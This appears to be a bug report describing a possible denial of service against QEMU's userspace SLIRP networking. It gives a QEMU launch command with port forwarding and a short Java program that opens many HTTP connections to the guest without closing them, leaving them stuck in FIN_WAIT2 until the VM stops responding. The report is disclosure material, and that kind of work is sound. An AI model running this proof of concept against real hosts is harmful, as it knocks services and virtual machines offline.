DoS possible on - a QEMU process using userspace SLIRP?

Steps to reproduce:

- Launch a VM using QEMU:

$ qemu-system-x86_64 -machine accel=kvm \
                     -hda Fedora-Cloud-Base-25-1.3.x86_64.qcow2 \
                     -m 2G \
                     -smp 2 \
                     -vnc :8 \
                     -boot dc \
                     -vga std \
                     -cpu host \
                     -net nic,vlan=0 \
                     -net user,vlan=0,hostfwd=tcp::10024-:22,hostfwd=tcp::8082-:80

- SSH into the VM, install httpd, start httpd

$ ssh -p 10024 root@localhost 'dnf install -y httpd && systemctl start httpd'

- Compile and run the following Java program:

$ cat <<EOF > URLConnectionReader.java
import java.net.*;
import java.io.*;

public class URLConnectionReader {
    public static void main(String[] args) throws Exception {
        int i = 0;
        while (i < 1024) {
            URL this_is_404 = new URL("http://localhost:8082/blah");
            URLConnection yc = this_is_404.openConnection();
            try {
                BufferedReader in = new BufferedReader(new InputStreamReader(
                            yc.getInputStream()));
                String inputLine;
                while ((inputLine = in.readLine()) != null)
                    System.out.println(inputLine);
                in.close();
            } catch (Exception e) {
                //HttpURLConnection urlConnection = (HttpURLConnection) yc;
                //urlConnection.disconnect();
            }
            i++;
        }
        Thread.sleep(1000000000);
    }
}

$ javac URLConnectionReader.java

$ java URLConnectionReader &

The java program tries to open a lot of HTTP connections, but never calls disconnect() on any.

- Take a look at the list of open FDs of the qemu process:

$ ls -tl /proc/${qemu-pid}/fd

$ lsof -p ${qemu-pid}
All of the TCP connections will be stuck at FIN_WAIT2

The VM becomes unresponsive. Neither SSH or VNC works on this.